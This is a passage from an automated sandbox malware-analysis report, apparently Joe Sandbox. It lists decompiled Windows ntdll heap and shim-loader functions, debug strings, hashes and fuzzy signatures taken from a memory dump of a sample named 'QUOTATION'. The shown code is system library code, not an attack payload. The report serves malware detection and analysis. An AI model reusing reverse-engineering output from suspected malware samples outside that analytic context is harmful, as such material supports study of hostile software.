				signed int _t79;
				intOrPtr _t81;
				signed int _t82;
				signed char _t86;
				signed int _t87;
				intOrPtr _t89;
				intOrPtr _t93;
				intOrPtr _t103;
				signed int _t120;
				signed char _t131;
				intOrPtr _t133;
				signed int _t136;
				signed int _t151;
				signed int* _t154;
				signed int _t158;
				signed int* _t160;
				intOrPtr* _t164;
				void* _t165;

				_push(0x34);
				_push(0x337fd2f8);
				E33777BE4(__ebx, __edi, __esi);
				 *(_t165 - 0x34) = __edx;
				_t162 = __ecx;
				 *((intOrPtr*)(_t165 - 0x30)) = __ecx;
				_t158 = 0;
				 *(_t165 - 0x28) = 0;
				 *((char*)(_t165 - 0x19)) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t165 - 4)) = 0;
					 *((intOrPtr*)(_t165 - 4)) = 1;
					_t73 = E33717662("RtlFreeHeap");
					__eflags = _t73;
					if(_t73 == 0) {
						_t158 = 0;
						 *(_t165 - 0x28) = 0;
						L34:
						 *((intOrPtr*)(_t165 - 4)) = 0;
						 *((intOrPtr*)(_t165 - 4)) = 0xfffffffe;
						E337CFBB7();
						_t75 = _t158;
						goto L35;
					}
					_t131 =  *(__ecx + 0x44) |  *(_t165 - 0x34);
					 *(_t165 - 0x2c) = _t131;
					 *(_t165 - 0x34) = _t131 | 0x10000000;
					__eflags = _t131 & 0x00000001;
					if((_t131 & 0x00000001) == 0) {
						E3372FED0( *((intOrPtr*)(__ecx + 0xc8)));
						 *((char*)(_t165 - 0x19)) = 1;
						_t120 =  *(_t165 - 0x2c) | 0x10000001;
						__eflags = _t120;
						 *(_t165 - 0x34) = _t120;
					}
					E337D0835(_t162, 0);
					_t151 =  *((intOrPtr*)(_t165 + 8)) + 0xfffffff8;
					__eflags =  *((char*)(_t151 + 7)) - 5;
					if( *((char*)(_t151 + 7)) == 5) {
						_t151 = _t151 - (( *(_t151 + 6) & 0x000000ff) << 3);
						__eflags = _t151;
					}
					 *(_t165 - 0x24) = _t151;
					 *(_t165 - 0x2c) = _t151;
					_t133 = _t162;
					_t79 = E3371753F(_t133, _t151, "RtlFreeHeap");
					__eflags = _t79;
					if(_t79 == 0) {
						goto L34;
					} else {
						__eflags =  *((intOrPtr*)(_t165 + 8)) -  *0x338147d0; // 0x0
						_t81 =  *[fs:0x30];
						if(__eflags != 0) {
							_t82 =  *(_t81 + 0x68);
							 *(_t165 - 0x3c) = _t82;
							__eflags = _t82 & 0x00000800;
							if((_t82 & 0x00000800) == 0) {
								L32:
								_t158 = E33733BC0(_t162,  *(_t165 - 0x34),  *((intOrPtr*)(_t165 + 8)));
								 *(_t165 - 0x28) = _t158;
								E337D0D24( *((intOrPtr*)(_t165 - 0x30)));
								E337D0835( *((intOrPtr*)(_t165 - 0x30)), 0);
								goto L34;
							}
							__eflags =  *0x338147d4;
							if( *0x338147d4 == 0) {
								goto L32;
							}
							_t160 =  *(_t165 - 0x2c);
							_t154 =  *(_t165 - 0x24);
							__eflags =  *(_t162 + 0x4c);
							if( *(_t162 + 0x4c) != 0) {
								 *_t160 =  *_t160 ^  *(_t162 + 0x50);
								_t38 =  &(_t154[0]); // 0xffff
								_t39 =  &(_t154[0]); // 0xffffff
								__eflags = _t160[0] - ( *_t38 ^  *_t39 ^  *_t154);
								if(__eflags != 0) {
									_push(_t133);
									E337DD646(0, _t162, _t160, _t160, _t162, __eflags);
									_t154 =  *(_t165 - 0x24);
								}
							}
							__eflags = _t160[0] & 0x00000002;
							if((_t160[0] & 0x00000002) == 0) {
								_t86 = _t160[0];
								 *(_t165 - 0x1a) = _t86;
								_t87 = _t86 & 0x000000ff;
							} else {
								_t103 = E33753AE9(_t160);
								 *((intOrPtr*)(_t165 - 0x40)) = _t103;
								_t87 =  *(_t103 + 2) & 0x0000ffff;
							}
							_t136 = _t87;
							 *(_t165 - 0x20) = _t87;
							__eflags =  *(_t162 + 0x4c);
							if( *(_t162 + 0x4c) != 0) {
								_t51 =  &(_t154[0]); // 0xffff
								_t52 =  &(_t154[0]); // 0xffffff
								_t160[0] =  *_t51 ^  *_t52 ^  *_t154;
								 *_t160 =  *_t160 ^  *(_t162 + 0x50);
								__eflags =  *_t160;
							}
							__eflags = _t136;
							if(_t136 != 0) {
								__eflags = _t136 -  *0x338147d4; // 0x0
								if(__eflags != 0) {
									goto L32;
								}
								__eflags =  *((intOrPtr*)(_t162 + 0x7c)) -  *0x338147d6; // 0x0
								if(__eflags != 0) {
									goto L32;
								}
								_t89 =  *[fs:0x30];
								__eflags =  *(_t89 + 0xc);
								if( *(_t89 + 0xc) == 0) {
									_push("HEAP: ");
									E3371B910();
								} else {
									E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E337C823A(_t162,  *(_t165 - 0x20)));
								E3371B910("About to free block at %p with tag %ws\n",  *((intOrPtr*)(_t165 + 8)));
								L30:
								_t93 =  *[fs:0x30];
								__eflags =  *((char*)(_t93 + 2));
								if( *((char*)(_t93 + 2)) != 0) {
									 *0x338147a1 = 1;
									 *0x33814100 = 0;
									asm("int3");
									 *0x338147a1 = 0;
								}
							}
							goto L32;
						}
						__eflags =  *(_t81 + 0xc);
						if( *(_t81 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						E3371B910("About to free block at %p\n",  *0x338147d0);
						goto L30;
					}
				} else {
					_t164 =  *0x33813750; // 0x0
					 *0x338191e0(__ecx, __edx,  *((intOrPtr*)(_t165 + 8)));
					_t75 =  *_t164() & 0x000000ff;
					L35:
					 *[fs:0x0] =  *((intOrPtr*)(_t165 - 0x10));
					return _t75;
				}
			}

0x337cf8f8
0x337cf8fa
0x337cf8ff
0x337cf906
0x337cf909
0x337cf90b
0x337cf910
0x337cf912
0x337cf915
0x337cf91f
0x337cf93e
0x337cf941
0x337cf94f
0x337cf954
0x337cf956
0x337cfb8c
0x337cfb8e
0x337cfb91
0x337cfb91
0x337cfb94
0x337cfb9b
0x337cfba0
0x00000000
0x337cfba0
0x337cf95f
0x337cf962
0x337cf96c
0x337cf96f
0x337cf972
0x337cf97a
0x337cf97f
0x337cf986
0x337cf986
0x337cf98b
0x337cf98b
0x337cf992
0x337cf99a
0x337cf99d
0x337cf9a1
0x337cf9aa
0x337cf9aa
0x337cf9aa
0x337cf9ac
0x337cf9af
0x337cf9b7
0x337cf9b9
0x337cf9be
0x337cf9c0
0x00000000
0x337cf9c6
0x337cf9c9
0x337cf9cf
0x337cf9d5
0x337cfa1b
0x337cfa1e
0x337cfa21
0x337cfa26
0x337cfb2b
0x337cfb37
0x337cfb39
0x337cfb41
0x337cfb4b
0x00000000
0x337cfb4b
0x337cfa2c
0x337cfa33
0x00000000
0x00000000
0x337cfa39
0x337cfa3c
0x337cfa3f
0x337cfa42
0x337cfa47
0x337cfa49
0x337cfa4c
0x337cfa51
0x337cfa54
0x337cfa56
0x337cfa5b
0x337cfa60
0x337cfa60
0x337cfa54
0x337cfa63
0x337cfa67
0x337cfa79
0x337cfa7c
0x337cfa7f
0x337cfa69
0x337cfa6b
0x337cfa70
0x337cfa73
0x337cfa73
0x337cfa82
0x337cfa84
0x337cfa88
0x337cfa8b
0x337cfa8d
0x337cfa90
0x337cfa95
0x337cfa9b
0x337cfa9b
0x337cfa9b
0x337cfa9d
0x337cfaa0
0x337cfaa6
0x337cfaad
0x00000000
0x00000000
0x337cfab3
0x337cfaba
0x00000000
0x00000000
0x337cfabc
0x337cfac2
0x337cfac5
0x337cfae4
0x337cfae9
0x337cfac7
0x337cfadc
0x337cfae1
0x337cfafa
0x337cfb03
0x337cfb0b
0x337cfb0b
0x337cfb11
0x337cfb15
0x337cfb17
0x337cfb1e
0x337cfb24
0x337cfb25
0x337cfb25
0x337cfb15
0x00000000
0x337cfaa0
0x337cf9d7
0x337cf9da
0x337cf9f9
0x337cf9fe
0x337cf9dc
0x337cf9f1
0x337cf9f6
0x337cfa0f
0x00000000
0x337cfa15
0x337cf921
0x337cf926
0x337cf92e
0x337cf936
0x337cfba2
0x337cfba5
0x337cfbb1
0x337cfbb1

APIs

RtlDebugPrintTimes.NTDLL ref: 337CF92E

Strings

About to free block at %p with tag %ws, xrefs: 337CFAFE
About to free block at %p, xrefs: 337CFA0A
HEAP: , xrefs: 337CF9F9, 337CFAE4
HEAP[%wZ]: , xrefs: 337CF9EC, 337CFAD7
RtlFreeHeap, xrefs: 337CF948, 337CF9B2

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 3446177414-3492000579
Opcode ID: 58b07968aad4cc07a2b1cc2a69a465a4b2212d84217a86cf72ba60b21b861446
Instruction ID: 2a2e10d541a9db325d3567095a3a4540a1db693526d4c09eb8a1b4f595c1351f
Opcode Fuzzy Hash: 58b07968aad4cc07a2b1cc2a69a465a4b2212d84217a86cf72ba60b21b861446
Instruction Fuzzy Hash: F471CC76E016859FDB01DFA8C494AADFBF2FF49310F08825AE485AF651CB359982CB50

Uniqueness

Uniqueness Score: -1.00%

Function 33716565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E33716565(intOrPtr* __ecx) {
				signed int _v8;
				char _v16;
				char _v92;
				char _v93;
				char _v100;
				signed short _v106;
				char _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t56;
				signed char _t67;
				intOrPtr _t76;
				signed char _t81;
				signed int _t86;
				signed int _t87;
				char _t88;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr* _t110;
				signed int _t111;
				signed int _t112;
				intOrPtr _t113;
				signed int _t114;
				intOrPtr* _t116;
				signed int _t117;
				void* _t118;

				_v8 =  *0x3381b370 ^ _t117;
				_v93 = 1;
				_t110 = __ecx;
				E3373E8A6(0, 0x4001,  &_v92);
				_t106 =  *0x7ffe0330;
				_t86 =  *0x33819200; // 0x0
				_t113 = 0x20;
				 *0x338165f8 = 1;
				_t92 = _t113 - (_t106 & 0x0000001f);
				asm("ror ebx, cl");
				_t87 = _t86 ^ _t106;
				if( *__ecx == 0) {
					L8:
					_t88 = _v93;
					L9:
					if(_v16 != 0) {
						E3374E7E0(_t92, _v92);
					}
					_t114 =  *0x33819210; // 0x0
					asm("ror esi, cl");
					 *0x338191e0();
					 *(_t114 ^  *0x7ffe0330)();
					_t108 =  *0x7ffe0330;
					_t111 =  *0x33819218; // 0x0
					_push(0x20);
					asm("ror edi, cl");
					_t112 = _t111 ^  *0x7ffe0330;
					E3372FED0(0x338132d8);
					_t98 = 0x33815d8c;
					if( *0x338165f0 != 0) {
						_t56 =  *0x33815d8c; // 0x3412cd8
						while(1) {
							__eflags = _t56 - _t98;
							if(_t56 == _t98) {
								break;
							}
							_v100 = _t56;
							_t39 = _t56 + 0x35;
							 *_t39 =  *(_t56 + 0x35) & 0x000000f7;
							__eflags =  *_t39;
							_t56 =  *_t56;
						}
						goto L11;
					} else {
						L11:
						_t116 =  *0x33815d8c; // 0x3412cd8
						if( *0x338165f4 < 2) {
							_t116 =  *_t116;
						}
						if(_t116 == _t98) {
							L15:
							 *0x338165f0 = 1;
							 *0x338165f8 = 0;
							E3372E740(_t98);
							E3371676F(_t98);
							return E33764B50(_t88, _t88, _v8 ^ _t117, _t108, _t112, _t116, 0x338132d8);
						} else {
							do {
								_v100 = _t116;
								_t108 = _t112;
								_t24 = _t116 + 0x50; // 0x3412ca0
								_t98 =  *_t24;
								E33716704( *_t24, _t112);
								_t116 =  *_t116;
							} while (_t116 != 0x33815d8c);
							goto L15;
						}
					}
				} else {
					goto L1;
				}
				do {
					L1:
					E33765050(_t92,  &_v108, _t110);
					_t92 = E33716B45( &_v108,  &_v92, 1,  &_v100);
					if(_t92 < 0) {
						_t67 =  *0x338137c0; // 0x0
						__eflags = _t67 & 0x00000003;
						if((_t67 & 0x00000003) != 0) {
							_push(_t92);
							E3379E692("minkernel\\ntdll\\ldrinit.c", 0x8ef, "LdrpLoadShimEngine", 0, "Loading the shim DLL \"%wZ\" failed with status 0x%08lx\n",  &_v108);
							_t67 =  *0x338137c0; // 0x0
							_t118 = _t118 + 0x1c;
						}
						__eflags = _t67 & 0x00000010;
						if((_t67 & 0x00000010) != 0) {
							asm("int3");
						}
						_v93 = 0;
						goto L6;
					}
					 *(_v100 + 0x34) =  *(_v100 + 0x34) | 0x00000100;
					E33757DF6(_v100);
					_t76 = _v100;
					_t103 =  *((intOrPtr*)(_t76 + 0x50));
					_t122 =  *((intOrPtr*)(_t103 + 0x20)) - 7;
					if( *((intOrPtr*)(_t103 + 0x20)) != 7) {
						L5:
						 *0x338191e0( *((intOrPtr*)(_t76 + 0x18)));
						 *_t87();
						_t92 = _v100;
						E3373D3E1(_t87, _v100, _t113);
						goto L6;
					}
					_t113 = E337416EE(_t87, _t103, _t110, _t113, _t122);
					if(_t113 < 0) {
						_t81 =  *0x338137c0; // 0x0
						_t88 = 0;
						__eflags = _t81 & 0x00000003;
						if((_t81 & 0x00000003) != 0) {
							_push(_t113);
							E3379E692("minkernel\\ntdll\\ldrinit.c", 0x909, "LdrpLoadShimEngine", 0, "Initializing the shim DLL \"%wZ\" failed with status 0x%08lx\n",  &_v108);
							_t81 =  *0x338137c0; // 0x0
						}
						__eflags = _t81 & 0x00000010;
						if((_t81 & 0x00000010) != 0) {
							asm("int3");
						}
						_t92 = _t113;
						E337A1D5E(_t113);
						_push(_t113);
						_push(0xffffffff);
						E33762C70();
						_t113 = 0x20;
						goto L9;
					}
					_t76 = _v100;
					goto L5;
					L6:
					_t110 = _t110 + ((_v106 & 0x0000ffff) >> 1) * 2;
				} while ( *_t110 != 0);
				_t113 = 0x20;
				goto L8;
			}

0x33716574
0x3371657d
0x33716581
0x3371658b
0x33716590
0x33716598
0x337165a3
0x337165a6
0x337165ad
0x337165b1
0x337165b3
0x337165b8
0x33716637
0x33716637
0x3371663a
0x3371663e
0x337166fa
0x337166fa
0x3371664c
0x33716659
0x3371665f
0x33716665
0x33716667
0x3371666f
0x33716678
0x3371667d
0x33716684
0x33716686
0x33716692
0x33716697
0x337798c3
0x337798d3
0x337798d3
0x337798d5
0x00000000
0x00000000
0x337798ca
0x337798cd
0x337798cd
0x337798cd
0x337798d1
0x337798d1
0x00000000
0x3371669d
0x3371669d
0x337166a4
0x337166aa
0x337166ac
0x337166ac
0x337166b0
0x337166c9
0x337166cb
0x337166d7
0x337166dc
0x337166e1
0x337166f6
0x337166b2
0x337166b2
0x337166b2
0x337166b5
0x337166b7
0x337166b7
0x337166ba
0x337166bf
0x337166c1
0x00000000
0x337166b2
0x337166b0
0x00000000
0x00000000
0x00000000
0x337165ba
0x337165ba
0x337165bf
0x337165d5
0x337165d9
0x33779835
0x3377983a
0x3377983c
0x3377983e
0x33779859
0x3377985e
0x33779863
0x33779863
0x33779866
0x33779868
0x3377986a
0x3377986a
0x3377986d
0x00000000
0x3377986d
0x337165e2
0x337165ec
0x337165f1
0x337165f4
0x337165f7
0x337165fb
0x3371660f
0x33716614
0x3371661a
0x3371661c
0x3371661f
0x00000000
0x3371661f
0x33716602
0x33716606
0x33779875
0x3377987a
0x3377987c
0x3377987e
0x33779880
0x3377989a
0x3377989f
0x337798a4
0x337798a7
0x337798a9
0x337798ab
0x337798ab
0x337798ac
0x337798ae
0x337798b3
0x337798b4
0x337798b6
0x337798bd
0x00000000
0x337798bd
0x3371660c
0x00000000
0x33716624
0x3371662a
0x3371662f
0x33716636
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33716614
RtlDebugPrintTimes.NTDLL ref: 3371665F

Strings

Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 33779885
minkernel\ntdll\ldrinit.c, xrefs: 33779854, 33779895
Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 33779843
LdrpLoadShimEngine, xrefs: 3377984A, 3377988B

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: a28d9760d942d793d68bf2c0d8cba5af494f819a5085cb7a5242cc1489a5c786
Instruction ID: a05d6ecbbd21a1317ddd16e705a704a83266dc52a4042f50833aa6cfbe52f76b
Opcode Fuzzy Hash: a28d9760d942d793d68bf2c0d8cba5af494f819a5085cb7a5242cc1489a5c786
Instruction Fuzzy Hash: E9512636E113589FDB14EBA8C858FAD77F6AB49304F040169E851FF295CBB09C52CB80

Uniqueness

Uniqueness Score: -1.00%

Function 3374DA20 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133
timeCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E3374DA20(void* __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr* _t44;
				char* _t45;
				void* _t65;
				intOrPtr _t72;
				signed int _t73;
				intOrPtr _t74;
				void* _t82;
				signed char* _t87;
				signed char _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr* _t94;
				signed int* _t95;

				_t93 = _a4;
				if( *((intOrPtr*)(_t93 + 8)) == 0xddeeddee) {
					E337E9335(_t93, 0, __ecx);
					L6:
					_t44 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
					if(_t44 != 0) {
						if( *_t44 == 0) {
							goto L7;
						}
						_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						L8:
						if( *_t45 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
								E337DF717(_t93);
							}
						}
						return 1;
					}
					L7:
					_t45 = 0x7ffe0380;
					goto L8;
				}
				if(( *(_t93 + 0x44) & 0x01000000) != 0) {
					_t94 =  *0x3381376c; // 0x0
					 *0x338191e0(_t93);
					return  *_t94();
				}
				if( *((intOrPtr*)(_t93 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E3371B910();
					} else {
						E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E3371B910("Invalid heap signature for heap at %p", _t93);
					E3371B910(", passed to %s", "RtlUnlockHeap");
					_push("\n");
					E3371B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x338147a1 = 1;
						asm("int3");
						 *0x338147a1 = 0;
					}
					return 0;
				}
				if(( *(_t93 + 0x40) & 0x00000001) != 0) {
					goto L6;
				}
				_t92 =  *((intOrPtr*)(_t93 + 0xc8));
				 *((intOrPtr*)(_t93 + 0xe8)) =  *((intOrPtr*)(_t93 + 0xe8)) + 0xffff;
				_t13 = _t92 + 8;
				 *_t13 =  *((intOrPtr*)(_t92 + 8)) - 1;
				if( *_t13 != 0) {
					goto L6;
				}
				 *(_t92 + 0xc) =  *(_t92 + 0xc) & 0x00000000;
				_t87 = _t92 + 4;
				_t65 = 0xfffffffe;
				asm("lock cmpxchg [edx], ecx");
				_v12 = 0xffff;
				if(_t65 != 0xfffffffe) {
					if(( *_t87 & 0x00000001) != 0) {
						E337BAA40(_t92);
					}
					_t72 =  *((intOrPtr*)(_t92 + 0x10));
					_v8 = _t72;
					if(_t72 == 0) {
						_v8 = E3374FEC0(_t92);
					}
					_v16 = _v16 & 0x00000000;
					_t95 = _t92 + 4;
					_t73 = _v12;
					while(1) {
						_t90 = _t73 & 0x00000002 | 0x00000001;
						_t82 = _t90 + _t73;
						asm("lock cmpxchg [esi], ecx");
						if(_t73 == _t73) {
							break;
						}
						E3374BAC0(_t82,  &_v16);
						_t73 =  *_t95;
					}
					_t93 = _a4;
					_t74 = _v8;
					if((_t90 & 0x00000002) != 0) {
						E3374F300(_t92, _t74);
					}
				}
				goto L6;
			}

0x3374da2a
0x3374da35
0x3378f408
0x3374da90
0x3374da96
0x3374da9b
0x3378f510
0x00000000
0x00000000
0x3378f51f
0x3374daa6
0x3374daa9
0x3378f537
0x3378f53f
0x3378f53f
0x3378f537
0x00000000
0x3374daaf
0x3374daa1
0x3374daa1
0x00000000
0x3374daa1
0x3374da42
0x3378f413
0x3378f41b
0x00000000
0x3378f421
0x3374da4f
0x3378f432
0x3378f451
0x3378f456
0x3378f434
0x3378f449
0x3378f44e
0x3378f462
0x3378f471
0x3378f476
0x3378f47b
0x3378f48d
0x3378f48f
0x3378f496
0x3378f497
0x3378f497
0x00000000
0x3378f49e
0x3374da59
0x00000000
0x00000000
0x3374da5b
0x3374da66
0x3374da6d
0x3374da6d
0x3374da71
0x00000000
0x00000000
0x3374da73
0x3374da77
0x3374da7f
0x3374da80
0x3374da84
0x3374da8a
0x3378f4a8
0x3378f4ab
0x3378f4ab
0x3378f4b0
0x3378f4b3
0x3378f4b8
0x3378f4c1
0x3378f4c1
0x3378f4c4
0x3378f4c8
0x3378f4cb
0x3378f4ce
0x3378f4d5
0x3378f4d8
0x3378f4db
0x3378f4e1
0x00000000
0x00000000
0x3378f4e7
0x3378f4ec
0x3378f4ec
0x3378f4f0
0x3378f4f3
0x3378f4f9
0x3378f503
0x3378f503
0x3378f4f9
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 3378F41B

Strings

Invalid heap signature for heap at %p, xrefs: 3378F45D
, passed to %s, xrefs: 3378F46C
HEAP: , xrefs: 3378F451
HEAP[%wZ]: , xrefs: 3378F444
RtlUnlockHeap, xrefs: 3378F467

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: e171c237d711d4354b060aa88d5500e99c2b299f27d22a9d7901cb43763749f8
Instruction ID: c4c78d12a49aabab4f244e274362d0988d5d49d55f7a89fdd1d43ee67786d5c3
Opcode Fuzzy Hash: e171c237d711d4354b060aa88d5500e99c2b299f27d22a9d7901cb43763749f8
Instruction Fuzzy Hash: 2E415975B04700DFE701CF28C489B59B7B5EF45360F184AA9E4559F782CB78AD82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 337CECD7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 337CEDD0
RtlDebugPrintTimes.NTDLL ref: 337CEE45

Strings

Entry Heap Size , xrefs: 337CEDED
---------------------------------------, xrefs: 337CEDF9
HEAP: , xrefs: 337CECDD
Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 337CEDE3

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
API String ID: 3446177414-1102453626
Opcode ID: 347db5ef7e9a548248fbc4a410959e7f49905c38775c5114527c27e7b1dc2520
Instruction ID: f8d0a3df529ce57324e4a75339a3374795631c0aa0b19bbd5d415450348759bc
Opcode Fuzzy Hash: 347db5ef7e9a548248fbc4a410959e7f49905c38775c5114527c27e7b1dc2520
Instruction Fuzzy Hash: F541AC7AE20655DFD705DF18C494A0ABBFAFF4939572984B9D404AFA20C731ED82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 3374DAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84
timeCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E3374DAC0(void* __ecx, intOrPtr _a4) {
				char _v5;
				intOrPtr* _t25;
				char* _t26;
				char _t28;
				intOrPtr _t53;
				intOrPtr* _t55;

				_t53 = _a4;
				_v5 = 0xff;
				if( *((intOrPtr*)(_t53 + 8)) == 0xddeeddee) {
					E337E9109(_t53,  &_v5);
					L5:
					_t25 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
					if(_t25 != 0) {
						if( *_t25 == 0) {
							goto L6;
						}
						_t26 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						L7:
						if( *_t26 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
								E337DF2AE(_t53);
							}
						}
						_t28 = 1;
						L9:
						return _t28;
					}
					L6:
					_t26 = 0x7ffe0380;
					goto L7;
				}
				if(( *(_t53 + 0x44) & 0x01000000) != 0) {
					_t55 =  *0x33813768; // 0x0
					 *0x338191e0(_t53);
					_t28 =  *_t55();
					goto L9;
				}
				if( *((intOrPtr*)(_t53 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E3371B910();
					} else {
						E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E3371B910("Invalid heap signature for heap at %p", _t53);
					E3371B910(", passed to %s", "RtlLockHeap");
					_push("\n");
					E3371B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x338147a1 = 1;
						asm("int3");
						 *0x338147a1 = 0;
					}
					_t28 = 0;
					goto L9;
				} else {
					if(( *(_t53 + 0x40) & 0x00000001) == 0) {
						E3372FED0( *((intOrPtr*)(_t53 + 0xc8)));
						 *((short*)(_t53 + 0xe8)) =  *((short*)(_t53 + 0xe8)) + 1;
					}
					goto L5;
				}
			}

0x3374dac8
0x3374dacb
0x3374dad6
0x3378f54e
0x3374db0e
0x3374db14
0x3374db19
0x3378f5ee
0x00000000
0x00000000
0x3378f5fd
0x3374db24
0x3374db27
0x3378f614
0x3378f61c
0x3378f61c
0x3378f614
0x3374db2d
0x3374db2f
0x3374db31
0x3374db31
0x3374db1f
0x3374db1f
0x00000000
0x3374db1f
0x3374dae3
0x3378f559
0x3378f561
0x3378f567
0x00000000
0x3378f567
0x3374daf0
0x3378f578
0x3378f597
0x3378f59c
0x3378f57a
0x3378f58f
0x3378f594
0x3378f5a8
0x3378f5b7
0x3378f5bc
0x3378f5c1
0x3378f5d3
0x3378f5d5
0x3378f5dc
0x3378f5dd
0x3378f5dd
0x3378f5e4
0x00000000
0x3374daf6
0x3374dafa
0x3374db02
0x3374db07
0x3374db07
0x00000000
0x3374dafa

APIs

RtlDebugPrintTimes.NTDLL ref: 3378F561

Strings

Invalid heap signature for heap at %p, xrefs: 3378F5A3
, passed to %s, xrefs: 3378F5B2
HEAP: , xrefs: 3378F597
RtlLockHeap, xrefs: 3378F5AD
HEAP[%wZ]: , xrefs: 3378F58A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: 9dde36f7a5b3bc4b9cc4e9550f012644a621419123ac878635d94e547e29dae3
Instruction ID: bf69c24a7c4eb1e4e40dca0bb21af432dc316ff29a1bcfa5f574517aaabef05b
Opcode Fuzzy Hash: 9dde36f7a5b3bc4b9cc4e9550f012644a621419123ac878635d94e547e29dae3
Instruction Fuzzy Hash: 79316776A02B84DFE712CB28D40DF4937E9EF05660F080585E4814FA92CBB9E982CB11

Uniqueness

Uniqueness Score: -1.00%

Function 33729046 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

